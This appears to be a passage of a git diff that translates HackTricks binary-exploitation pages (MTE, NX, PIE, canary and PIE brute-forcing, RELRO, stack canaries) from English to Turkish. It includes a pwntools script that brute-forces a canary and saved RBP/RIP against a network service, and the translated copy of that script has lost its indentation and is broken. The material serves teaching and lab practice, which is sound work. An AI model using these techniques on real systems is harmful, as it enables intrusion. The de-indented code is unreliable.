-When a program accesses memory through a pointer, the MTE hardware checks that the **pointer's tag matches the memory block's tag**. If the tags **do not match**, it indicates an **illegal memory access.** +Bir program bir işaretçi aracılığıyla belleğe eriştiğinde, MTE donanımı **işaretçinin etiketinin bellek bloğunun etiketiyle eşleşip eşleşmediğini** kontrol eder. Eğer etiketler **eşleşmiyorsa**, bu **yasadışı bellek erişimi** olduğunu gösterir. -### MTE Pointer Tags +### MTE İşaretçi Etiketleri -Tags inside a pointer are stored in 4 bits inside the top byte: +Bir işaretçi içindeki etiketler, en üst byte içinde 4 bit olarak saklanır:

https://www.youtube.com/watch?v=UwMt0e_dC_Q

-Therefore, this allows up to **16 different tag values**. +Bu nedenle, bu, **16 farklı etiket değeri** olmasına olanak tanır. -### MTE Memory Tags +### MTE Bellek Etiketleri -Every **16B of physical memory** have a corresponding **memory tag**. +Her **16B fiziksel bellek** için karşılık gelen bir **bellek etiketi** vardır. -The memory tags are stored in a **dedicated RAM region** (not accessible for normal usage). Having 4bits tags for every 16B memory tags up to 3% of RAM. - -ARM introduces the following instructions to manipulate these tags in the dedicated RAM memory: +Bellek etiketleri, **normal kullanım için erişilemeyen** bir **özel RAM bölgesinde** saklanır. Her 16B bellek etiketi için 4 bit etiket bulunması, RAM'in %3'üne kadar etiket sağlar. +ARM, bu etiketleri özel RAM belleğinde işlemek için aşağıdaki talimatları tanıtır: ``` STG [], # Store Allocation (memory) Tag LDG , [] Load Allocatoin (memory) Tag IRG , Insert Random [pointer] Tag ... ``` +## Modları Kontrol Etme -## Checking Modes +### Senkron -### Sync +CPU, etiketleri **talimat yürütülürken** kontrol eder, eğer bir uyumsuzluk varsa, bir istisna oluşturur.\ +Bu en yavaş ve en güvenli olanıdır. -The CPU check the tags **during the instruction executing**, if there is a mismatch, it raises an exception.\ -This is the slowest and most secure. +### Asenkron -### Async +CPU, etiketleri **asenkron olarak** kontrol eder ve bir uyumsuzluk bulunduğunda, sistem kayıtlarından birinde bir istisna biti ayarlar. Bu, önceki yöntemden **daha hızlıdır** ancak uyumsuzluğa neden olan tam talimatı **belirleyemez** ve istisnayı hemen oluşturmaz, saldırgana saldırısını tamamlama süresi tanır. -The CPU check the tags **asynchronously**, and when a mismatch is found it sets an exception bit in one of the system registers. It's **faster** than the previous one but it's **unable to point out** the exact instruction that cause the mismatch and it doesn't raise the exception immediately, giving some time to the attacker to complete his attack. - -### Mixed +### Karışık ??? -## Implementation & Detection Examples +## Uygulama ve Tespit Örnekleri -Called Hardware Tag-Based KASAN, MTE-based KASAN or in-kernel MTE.\ -The kernel allocators (like `kmalloc`) will **call this module** which will prepare the tag to use (randomly) attach it to the kernel space allocated and to the returned pointer. +Donanım Etiket Tabanlı KASAN, MTE tabanlı KASAN veya çekirdek içi MTE olarak adlandırılır.\ +Çekirdek ayırıcıları (örneğin `kmalloc`), kullanılacak etiketi hazırlamak için **bu modülü çağırır** (rastgele) ve bunu ayrılan çekirdek alanına ve döndürülen işaretçiye ekler. -Note that it'll **only mark enough memory granules** (16B each) for the requested size. So if the requested size was 35 and a slab of 60B was given, it'll mark the first 16\*3 = 48B with this tag and the **rest** will be **marked** with a so-called **invalid tag (0xE)**. +Talep edilen boyut için **yeterli bellek granüllerini** (her biri 16B) **sadece işaretleyecektir**. Yani, talep edilen boyut 35 ise ve 60B'lik bir slab verilmişse, bu etiketle ilk 16\*3 = 48B'yi işaretleyecek ve **geri kalan** **geçersiz etiket (0xE)** ile **işaretlenecektir**. -The tag **0xF** is the **match all pointer**. A memory with this pointer allows **any tag to be used** to access its memory (no mismatches). This could prevent MET from detecting an attack if this tags is being used in the attacked memory. +Etiket **0xF**, **tüm işaretçileri eşleştiren** etikettir. Bu işaretçiye sahip bir bellek, belleğine erişmek için **herhangi bir etiketin kullanılmasına** izin verir (uyumsuzluk yok). Bu, bu etiketin saldırıya uğrayan bellek içinde kullanılması durumunda MET'in bir saldırıyı tespit etmesini engelleyebilir. -Therefore there are only **14 value**s that can be used to generate tags as 0xE and 0xF are reserved, giving a probability of **reusing tags** to 1/17 -> around **7%**. +Bu nedenle, 0xE ve 0xF rezerve edildiğinden, etiket oluşturmak için yalnızca **14 değer** kullanılabilir, bu da etiketlerin **yeniden kullanılma** olasılığını 1/17 -> yaklaşık **%7** yapar. -If the kernel access to the **invalid tag granule**, the **mismatch** will be **detected**. If it access another memory location, if the **memory has a different tag** (or the invalid tag) the mismatch will be **detected.** If the attacker is lucky and the memory is using the same tag, it won't be detected. Chances are around 7% +Eğer çekirdek **geçersiz etiket granülüne** erişirse, **uyumsuzluk** **tespit edilecektir**. Eğer başka bir bellek konumuna erişirse, eğer **bellek farklı bir etikete** (veya geçersiz etikete) sahipse, uyumsuzluk **tespit edilecektir**. Eğer saldırgan şanslıysa ve bellek aynı etiketi kullanıyorsa, bu tespit edilmeyecektir. Olasılıklar yaklaşık %7'dir. -Another bug occurs in the **last granule** of the allocated memory. If the application requested 35B, it was given the granule from 32 to 48. Therefore, the **bytes from 36 til 47 are using the same tag** but they weren't requested. If the attacker access **these extra bytes, this isn't detected**. +Başka bir hata, ayrılan belleğin **son granülünde** meydana gelir. Eğer uygulama 35B talep ettiyse, 32'den 48'e kadar olan granül verilmiştir. Bu nedenle, **36'dan 47'ye kadar olan baytlar aynı etiketi kullanmaktadır** ancak bunlar talep edilmemiştir. Eğer saldırgan **bu ekstra baytlara erişirse, bu tespit edilmez**. -When **`kfree()`** is executed, the memory is retagged with the invalid memory tag, so in a **use-after-free**, when the memory is accessed again, the **mismatch is detected**. +**`kfree()`** çalıştırıldığında, bellek geçersiz bellek etiketi ile yeniden etiketlenir, bu nedenle bir **kullanım-sonrası-serbest bırakma** durumunda, bellek tekrar erişildiğinde, **uyumsuzluk tespit edilir**. -However, in a use-after-free, if the same **chunk is reallocated again with the SAME tag** as previously, an attacker will be able to use this access and this won't be detected (around 7% chance). +Ancak, bir kullanım-sonrası-serbest bırakma durumunda, eğer aynı **parça, daha önceki ile AYNI etiketle** yeniden tahsis edilirse, bir saldırgan bu erişimi kullanabilir ve bu tespit edilmeyecektir (yaklaşık %7 şans). -Moreover, only **`slab` and `page_alloc`** uses tagged memory but in the future this will also be used in `vmalloc`, `stack` and `globals` (at the moment of the video these can still be abused). +Ayrıca, yalnızca **`slab` ve `page_alloc`** etiketli belleği kullanır, ancak gelecekte bu `vmalloc`, `stack` ve `globals` içinde de kullanılacaktır (videonun çekildiği anda bunlar hala kötüye kullanılabilir). -When a **mismatch is detected** the kernel will **panic** to prevent further exploitation and retries of the exploit (MTE doesn't have false positives). +Bir **uyumsuzluk tespit edildiğinde**, çekirdek daha fazla istismar ve istismar denemelerini önlemek için **panik** yapacaktır (MTE'nin yanlış pozitifleri yoktur). -## References +## Referanslar - [https://www.youtube.com/watch?v=UwMt0e_dC_Q](https://www.youtube.com/watch?v=UwMt0e_dC_Q) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md index 376dfe6c4..8c32aa122 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -The **No-Execute (NX)** bit, also known as **Execute Disable (XD)** in Intel terminology, is a hardware-based security feature designed to **mitigate** the effects of **buffer overflow** attacks. When implemented and enabled, it distinguishes between memory regions that are intended for **executable code** and those meant for **data**, such as the **stack** and **heap**. The core idea is to prevent an attacker from executing malicious code through buffer overflow vulnerabilities by putting the malicious code in the stack for example and directing the execution flow to it. +**No-Execute (NX)** biti, Intel terminolojisinde **Execute Disable (XD)** olarak da bilinir, **buffer overflow** saldırılarının etkilerini **azaltmak** için tasarlanmış donanım tabanlı bir güvenlik özelliğidir. Uygulandığında ve etkinleştirildiğinde, **çalıştırılabilir kod** için tasarlanmış bellek bölgeleri ile **veri** için tasarlanmış bölgeleri, örneğin **stack** ve **heap** arasında ayrım yapar. Temel fikir, bir saldırganın buffer overflow zafiyetleri aracılığıyla kötü niyetli kodu çalıştırmasını engellemektir; örneğin, kötü niyetli kodu stack'e koyarak ve yürütme akışını ona yönlendirerek. -## Bypasses +## Bypass'ler -- It's possible to use techniques such as [**ROP**](../rop-return-oriented-programing/) **to bypass** this protection by executing chunks of executable code already present in the binary. - - [**Ret2libc**](../rop-return-oriented-programing/ret2lib/) - - [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) - - **Ret2...** +- Bu korumayı aşmak için [**ROP**](../rop-return-oriented-programing/) gibi teknikler kullanmak mümkündür; bu, ikili dosyada zaten mevcut olan çalıştırılabilir kod parçalarını çalıştırarak yapılır. +- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/) +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) +- **Ret2...** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md index 99a33743d..b3da578b6 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md @@ -2,30 +2,30 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -A binary compiled as PIE, or **Position Independent Executable**, means the **program can load at different memory locations** each time it's executed, preventing hardcoded addresses. +PIE olarak derlenmiş bir ikili, yani **Konum Bağımsız Yürütülebilir**, **programın her çalıştırıldığında farklı bellek konumlarında yüklenebileceği** anlamına gelir, bu da sabit adreslerin önüne geçer. -The trick to exploit these binaries lies in exploiting the **relative addresses**—the offsets between parts of the program remain the same even if the absolute locations change. To **bypass PIE, you only need to leak one address**, typically from the **stack** using vulnerabilities like format string attacks. Once you have an address, you can calculate others by their **fixed offsets**. +Bu ikilileri istismar etmenin püf noktası, **göreceli adresleri** istismar etmektir—programın parçaları arasındaki ofsetler, mutlak konumlar değişse bile aynı kalır. **PIE'yi atlatmak için yalnızca bir adres sızdırmanız gerekir**, genellikle **yığın** üzerinden format dizesi saldırıları gibi zafiyetler kullanarak. Bir adres elde ettiğinizde, diğerlerini **sabit ofsetleri** ile hesaplayabilirsiniz. -A helpful hint in exploiting PIE binaries is that their **base address typically ends in 000** due to memory pages being the units of randomization, sized at 0x1000 bytes. This alignment can be a critical **check if an exploit isn't working** as expected, indicating whether the correct base address has been identified.\ -Or you can use this for your exploit, if you leak that an address is located at **`0x649e1024`** you know that the **base address is `0x649e1000`** and from the you can just **calculate offsets** of functions and locations. +PIE ikililerini istismar etmede yardımcı bir ipucu, **temel adreslerinin genellikle 000 ile bitmesidir** çünkü bellek sayfaları rastgeleleştirme birimleri olarak 0x1000 bayt boyutundadır. Bu hizalama, bir istismar beklenildiği gibi çalışmıyorsa kritik bir **kontrol olabilir**, doğru temel adresinin belirlenip belirlenmediğini gösterir.\ +Ya da bunu istismarınız için kullanabilirsiniz, eğer bir adresin **`0x649e1024`** konumunda olduğunu sızdırırsanız, **temel adresin `0x649e1000`** olduğunu bilirsiniz ve buradan sadece **ofsetleri** hesaplayabilirsiniz. -## Bypasses +## Atlatmalar -In order to bypass PIE it's needed to **leak some address of the loaded** binary, there are some options for this: +PIE'yi atlatmak için, yüklenmiş ikilinin **bir adresini sızdırmak** gereklidir, bunun için bazı seçenekler vardır: -- **Disabled ASLR**: If ASLR is disabled a binary compiled with PIE is always **going to be loaded in the same address**, therefore **PIE is going to be useless** as the addresses of the objects are always going to be in the same place. -- Be **given** the leak (common in easy CTF challenges, [**check this example**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) -- **Brute-force EBP and EIP values** in the stack until you leak the correct ones: +- **ASLR'yi devre dışı bırakma**: ASLR devre dışı bırakıldığında, PIE ile derlenmiş bir ikili her zaman **aynı adreste yüklenecektir**, bu nedenle **PIE işe yaramaz** çünkü nesnelerin adresleri her zaman aynı yerde olacaktır. +- Sızıntıyı **almak** (kolay CTF zorluklarında yaygındır, [**bu örneğe bakın**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) +- Yığındaki **EBP ve EIP değerlerini** doğru olanları sızdırana kadar **kaba kuvvet** ile denemek: {{#ref}} bypassing-canary-and-pie.md {{#endref}} -- Use an **arbitrary read** vulnerability such as [**format string**](../../format-strings/) to leak an address of the binary (e.g. from the stack, like in the previous technique) to get the base of the binary and use offsets from there. [**Find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). +- Bir **keyfi okuma** zafiyetini kullanarak [**format dizesi**](../../format-strings/) gibi, ikilinin bir adresini sızdırmak (örneğin, önceki teknik gibi yığından) ikilinin temelini elde etmek ve buradan ofsetleri kullanmak için. [**Burada bir örnek bulun**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). -## References +## Referanslar - [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md index 996facccb..3a43c8f23 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md @@ -1,56 +1,55 @@ -# BF Addresses in the Stack +# BF Stack'teki Adresler {{#include ../../../banners/hacktricks-training.md}} -**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** +**Eğer bir canary ve PIE (Pozisyona Bağımsız İkili) ile korunan bir ikili ile karşılaşıyorsanız, muhtemelen bunları aşmanın bir yolunu bulmanız gerekiyor.** ![](<../../../images/image (865).png>) > [!NOTE] -> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\ -> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting. +> **`checksec`**'in bir ikilinin canary ile korunduğunu bulamayabileceğini unutmayın, eğer bu statik olarak derlenmişse ve fonksiyonu tanımlama yeteneğine sahip değilse.\ +> Ancak, bir fonksiyon çağrısının başında bir değerin yığında saklandığını ve bu değerin çıkmadan önce kontrol edildiğini bulursanız bunu manuel olarak fark edebilirsiniz. -## Brute-Force Addresses +## Brute-Force Adresleri -In order to **bypass the PIE** you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\ -For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.** +**PIE'yi aşmak** için bazı **adresleri sızdırmanız** gerekiyor. Ve eğer ikili herhangi bir adres sızdırmıyorsa, en iyi yol, **savunmasız fonksiyondaki yığında saklanan RBP ve RIP'yi brute-force yapmak** olacaktır.\ +Örneğin, eğer bir ikili hem **canary** hem de **PIE** kullanarak korunuyorsa, canary'yi brute-force yapmaya başlayabilir, ardından **sonraki** 8 Bayt (x64) saklanan **RBP** ve **sonraki** 8 Bayt saklanan **RIP** olacaktır. > [!TIP] -> It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case. - -To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP: +> Yığında bulunan dönüş adresinin ana ikili koda ait olduğu varsayılmaktadır; bu, eğer zafiyet ikili kodda yer alıyorsa genellikle böyle olacaktır. +İkili dosyadan RBP ve RIP'yi brute-force yapmak için, program bir şey çıktığında veya sadece çökmediğinde geçerli tahmin edilen bir baytın doğru olduğunu anlayabilirsiniz. Canary'yi brute-force yapmak için sağlanan **aynı fonksiyonu** RBP ve RIP'yi brute-force yapmak için kullanabilirsiniz: ```python from pwn import * def connect(): - r = remote("localhost", 8788) +r = remote("localhost", 8788) def get_bf(base): - canary = "" - guess = 0x0 - base += canary +canary = "" +guess = 0x0 +base += canary - while len(canary) < 8: - while guess != 0xff: - r = connect() +while len(canary) < 8: +while guess != 0xff: +r = connect() - r.recvuntil("Username: ") - r.send(base + chr(guess)) +r.recvuntil("Username: ") +r.send(base + chr(guess)) - if "SOME OUTPUT" in r.clean(): - print "Guessed correct byte:", format(guess, '02x') - canary += chr(guess) - base += chr(guess) - guess = 0x0 - r.close() - break - else: - guess += 1 - r.close() +if "SOME OUTPUT" in r.clean(): +print "Guessed correct byte:", format(guess, '02x') +canary += chr(guess) +base += chr(guess) +guess = 0x0 +r.close() +break +else: +guess += 1 +r.close() - print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) - return base +print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) +return base # CANARY BF HERE canary_offset = 1176 @@ -67,30 +66,25 @@ print("Brute-Forcing RIP") base_canary_rbp_rip = get_bf(base_canary_rbp) RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ``` +PIE'yi yenmek için son şey, **sızdırılan** adreslerden **yararlı adresleri hesaplamak**: **RBP** ve **RIP**'dir. -The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**. - -From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP: - +**RBP**'den, **yığın içinde shell'inizi nereye yazdığınızı** hesaplayabilirsiniz. Bu, yığın içinde _"/bin/sh\x00"_ dizesini nereye yazacağınızı bilmek için çok yararlı olabilir. Sızdırılan RBP ile shellcode'unuz arasındaki mesafeyi hesaplamak için, **RBP'yi sızdırdıktan sonra bir kesme noktası koyabilir** ve **shellcode'unuzun nerede bulunduğunu** kontrol edebilirsiniz, ardından shellcode ile RBP arasındaki mesafeyi hesaplayabilirsiniz: ```python INI_SHELLCODE = RBP - 1152 ``` - -From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\ -To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses: +**RIP**'ten **PIE ikili dosyasının temel adresini** hesaplayabilirsiniz, bu da **geçerli bir ROP zinciri** oluşturmak için gereklidir.\ +Temel adresi hesaplamak için sadece `objdump -d vunbinary` komutunu çalıştırın ve en son adresleri kontrol edin: ![](<../../../images/image (479).png>) -In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked `0x562002970ecf` the base address is `0x562002970000` - +Bu örnekte, tüm kodu bulmak için yalnızca **1.5 Bayt gereklidir**, bu durumda temel adres **sızdırılan RIP ama "000" ile biten** olacaktır. Örneğin, `0x562002970ecf` sızdırdıysanız, temel adres `0x562002970000`'dır. ```python elf.address = RIP - (RIP & 0xfff) ``` +## İyileştirmeler -## Improvements +[**bu gönderiden bazı gözlemlere**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking) göre, RBP ve RIP değerleri sızdırılırken, sunucunun bazı doğru olmayan değerlerle çökmesi mümkün olmayabilir ve BF scripti doğru olanları aldığını düşünebilir. Bunun nedeni, **bazı adreslerin tam olarak doğru olmasalar bile bunu kırmaması**dır. -According to [**some observation from this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), it's possible that when leaking RBP and RIP values, the server won't crash with some values which aren't the correct ones and the BF script will think he got the good ones. This is because it's possible that **some addresses just won't break it even if there aren't exactly the correct ones**. - -According to that blog post it's recommended to add a short delay between requests to the server is introduced. +O blog gönderisine göre, sunucuya yapılan istekler arasında kısa bir gecikme eklenmesi önerilmektedir. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md b/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md index 59b406c5e..505799b70 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md @@ -4,32 +4,30 @@ ## Relro -**RELRO** stands for **Relocation Read-Only**, and it's a security feature used in binaries to mitigate the risks associated with **GOT (Global Offset Table)** overwrites. There are two types of **RELRO** protections: (1) **Partial RELRO** and (2) **Full RELRO**. Both of them reorder the **GOT** and **BSS** from ELF files, but with different results and implications. Speciifically, they place the **GOT** section _before_ the **BSS**. That is, **GOT** is at lower addresses than **BSS**, hence making it impossible to overwrite **GOT** entries by overflowing variables in the **BSS** (rembember writing into memory happens from lower toward higher addresses). +**RELRO**, **Relocation Read-Only** anlamına gelir ve **GOT (Global Offset Table)** üzerine yazma ile ilişkili riskleri azaltmak için ikili dosyalarda kullanılan bir güvenlik özelliğidir. İki tür **RELRO** koruması vardır: (1) **Partial RELRO** ve (2) **Full RELRO**. Her ikisi de **GOT** ve **BSS**'yi ELF dosyalarından yeniden sıralar, ancak farklı sonuçlar ve etkileri vardır. Özellikle, **GOT** bölümünü **BSS**'den _önce_ yerleştirir. Yani, **GOT** daha düşük adreslerde bulunur, bu nedenle **BSS**'deki değişkenleri taşırarak **GOT** girişlerini yazmak imkansız hale gelir (belleğe yazmanın daha düşük adreslerden daha yüksek adreslere doğru gerçekleştiğini unutmayın). -Let's break down the concept into its two distinct types for clarity. +Kavramı netlik için iki ayrı türüne ayıralım. ### **Partial RELRO** -**Partial RELRO** takes a simpler approach to enhance security without significantly impacting the binary's performance. Partial RELRO makes **the .got read only (the non-PLT part of the GOT section)**. Bear in mind that the rest of the section (like the .got.plt) is still writeable and, therefore, subject to attacks. This **doesn't prevent the GOT** to be abused **from arbitrary write** vulnerabilities. +**Partial RELRO**, güvenliği artırmak için daha basit bir yaklaşım benimser ve ikilinin performansını önemli ölçüde etkilemez. Partial RELRO, **.got'u yalnızca okunur hale getirir (GOT bölümünün PLT dışı kısmı)**. Kalan bölümün (örneğin, .got.plt) hala yazılabilir olduğunu ve dolayısıyla saldırılara maruz kalabileceğini unutmayın. Bu, **GOT**'un **rastgele yazma** zafiyetleri tarafından kötüye kullanılmasını engellemez. -Note: By default, GCC compiles binaries with Partial RELRO. +Not: Varsayılan olarak, GCC ikilileri Partial RELRO ile derler. ### **Full RELRO** -**Full RELRO** steps up the protection by **making the entire GOT (both .got and .got.plt) and .fini_array** section completely **read-only.** Once the binary starts all the function addresses are resolved and loaded in the GOT, then, GOT is marked as read-only, effectively preventing any modifications to it during runtime. +**Full RELRO**, **tüm GOT'u (hem .got hem de .got.plt) ve .fini_array** bölümünü tamamen **salt okunur** hale getirerek korumayı artırır. İkili dosya başladığında tüm fonksiyon adresleri çözülür ve GOT'a yüklenir, ardından GOT salt okunur olarak işaretlenir, bu da çalışma zamanında herhangi bir değişikliğe karşı etkili bir şekilde koruma sağlar. -However, the trade-off with Full RELRO is in terms of performance and startup time. Because it needs to resolve all dynamic symbols at startup before marking the GOT as read-only, **binaries with Full RELRO enabled may experience longer load times**. This additional startup overhead is why Full RELRO is not enabled by default in all binaries. - -It's possible to see if Full RELRO is **enabled** in a binary with: +Ancak, Full RELRO ile ilgili bir takas, performans ve başlangıç süresidir. Çünkü GOT'u salt okunur olarak işaretlemeden önce tüm dinamik sembolleri başlangıçta çözmesi gerektiğinden, **Full RELRO etkin olan ikililer daha uzun yükleme süreleri yaşayabilir**. Bu ek başlangıç yükü, Full RELRO'nun tüm ikililerde varsayılan olarak etkin olmamasının nedenidir. +Full RELRO'nun bir ikili dosyada **etkin** olup olmadığını görmek mümkündür: ```bash readelf -l /proc/ID_PROC/exe | grep BIND_NOW ``` - ## Bypass -If Full RELRO is enabled, the only way to bypass it is to find another way that doesn't need to write in the GOT table to get arbitrary execution. +Eğer Full RELRO etkinse, bunu aşmanın tek yolu, keyfi yürütme elde etmek için GOT tablosuna yazma gerektirmeyen başka bir yol bulmaktır. -Note that **LIBC's GOT is usually Partial RELRO**, so it can be modified with an arbitrary write. More information in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.** +Not edin ki **LIBC'nin GOT'u genellikle Partial RELRO'dur**, bu nedenle keyfi bir yazma ile değiştirilebilir. Daha fazla bilgi için [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md index 5c1044b98..3af0b442e 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md @@ -2,72 +2,72 @@ {{#include ../../../banners/hacktricks-training.md}} -## **StackGuard and StackShield** +## **StackGuard ve StackShield** -**StackGuard** inserts a special value known as a **canary** before the **EIP (Extended Instruction Pointer)**, specifically `0x000aff0d` (representing null, newline, EOF, carriage return) to protect against buffer overflows. However, functions like `recv()`, `memcpy()`, `read()`, and `bcopy()` remain vulnerable, and it does not protect the **EBP (Base Pointer)**. +**StackGuard**, **EIP (Extended Instruction Pointer)**'dan önce, özellikle `0x000aff0d` (null, yeni satır, EOF, taşıma dönüşü temsil eder) olarak bilinen özel bir değeri **canary** olarak ekleyerek buffer overflow'lara karşı koruma sağlar. Ancak, `recv()`, `memcpy()`, `read()` ve `bcopy()` gibi fonksiyonlar hala savunmasızdır ve **EBP (Base Pointer)**'yi korumaz. -**StackShield** takes a more sophisticated approach than StackGuard by maintaining a **Global Return Stack**, which stores all return addresses (**EIPs**). This setup ensures that any overflow does not cause harm, as it allows for a comparison between stored and actual return addresses to detect overflow occurrences. Additionally, StackShield can check the return address against a boundary value to detect if the **EIP** points outside the expected data space. However, this protection can be circumvented through techniques like Return-to-libc, ROP (Return-Oriented Programming), or ret2ret, indicating that StackShield also does not protect local variables. +**StackShield**, tüm dönüş adreslerini (**EIPs**) saklayan bir **Global Return Stack** tutarak StackGuard'dan daha sofistike bir yaklaşım benimser. Bu yapı, herhangi bir taşmanın zarar vermemesini sağlar, çünkü saklanan ve gerçek dönüş adresleri arasında bir karşılaştırma yapılmasına olanak tanır. Ayrıca, StackShield, **EIP**'nin beklenen veri alanının dışına işaret edip etmediğini tespit etmek için dönüş adresini bir sınır değeri ile kontrol edebilir. Ancak, bu koruma Return-to-libc, ROP (Return-Oriented Programming) veya ret2ret gibi tekniklerle aşılabilir, bu da StackShield'in yerel değişkenleri de korumadığı anlamına gelir. ## **Stack Smash Protector (ProPolice) `-fstack-protector`:** -This mechanism places a **canary** before the **EBP**, and reorganizes local variables to position buffers at higher memory addresses, preventing them from overwriting other variables. It also securely copies arguments passed on the stack above local variables and uses these copies as arguments. However, it does not protect arrays with fewer than 8 elements or buffers within a user's structure. +Bu mekanizma, **EBP**'den önce bir **canary** yerleştirir ve yerel değişkenleri daha yüksek bellek adreslerinde konumlandıracak şekilde yeniden düzenler, böylece diğer değişkenleri yazmalarını engeller. Ayrıca, yerel değişkenlerin üzerinde yığılan argümanları güvenli bir şekilde kopyalar ve bu kopyaları argüman olarak kullanır. Ancak, 8'den az eleman içeren dizileri veya bir kullanıcının yapısı içindeki tamponları korumaz. -The **canary** is a random number derived from `/dev/urandom` or a default value of `0xff0a0000`. It is stored in **TLS (Thread Local Storage)**, allowing shared memory spaces across threads to have thread-specific global or static variables. These variables are initially copied from the parent process, and child processes can alter their data without affecting the parent or siblings. Nevertheless, if a **`fork()` is used without creating a new canary, all processes (parent and children) share the same canary**, making it vulnerable. On the **i386** architecture, the canary is stored at `gs:0x14`, and on **x86_64**, at `fs:0x28`. +**Canary**, `/dev/urandom`'dan türetilen rastgele bir sayıdır veya varsayılan değeri `0xff0a0000`'dır. **TLS (Thread Local Storage)** içinde saklanır, bu da iş parçacıkları arasında paylaşılan bellek alanlarının iş parçacığına özgü global veya statik değişkenlere sahip olmasına olanak tanır. Bu değişkenler başlangıçta ana süreçten kopyalanır ve çocuk süreçler, ana veya kardeşleri etkilemeden verilerini değiştirebilir. Ancak, eğer bir **`fork()` yeni bir canary oluşturmadan kullanılırsa, tüm süreçler (ana ve çocuklar) aynı canary'i paylaşır**, bu da onu savunmasız hale getirir. **i386** mimarisinde, canary `gs:0x14`'te, **x86_64**'de ise `fs:0x28`'de saklanır. -This local protection identifies functions with buffers vulnerable to attacks and injects code at the start of these functions to place the canary, and at the end to verify its integrity. +Bu yerel koruma, saldırılara karşı savunmasız tamponlara sahip fonksiyonları tanımlar ve bu fonksiyonların başına canary yerleştirmek için kod enjekte eder ve sonunda bütünlüğünü doğrulamak için kontrol eder. -When a web server uses `fork()`, it enables a brute-force attack to guess the canary byte by byte. However, using `execve()` after `fork()` overwrites the memory space, negating the attack. `vfork()` allows the child process to execute without duplication until it attempts to write, at which point a duplicate is created, offering a different approach to process creation and memory handling. +Bir web sunucusu `fork()` kullandığında, canary'yi byte byte tahmin etmek için bir brute-force saldırısını etkinleştirir. Ancak, `fork()`'tan sonra `execve()` kullanmak bellek alanını yazdığı için saldırıyı geçersiz kılar. `vfork()`, çocuk sürecin yazma girişiminde bulunana kadar kopyalamadan çalışmasına izin verir; bu noktada bir kopya oluşturulur ve süreç oluşturma ve bellek yönetimi için farklı bir yaklaşım sunar. -### Lengths +### Uzunluklar -In `x64` binaries, the canary cookie is an 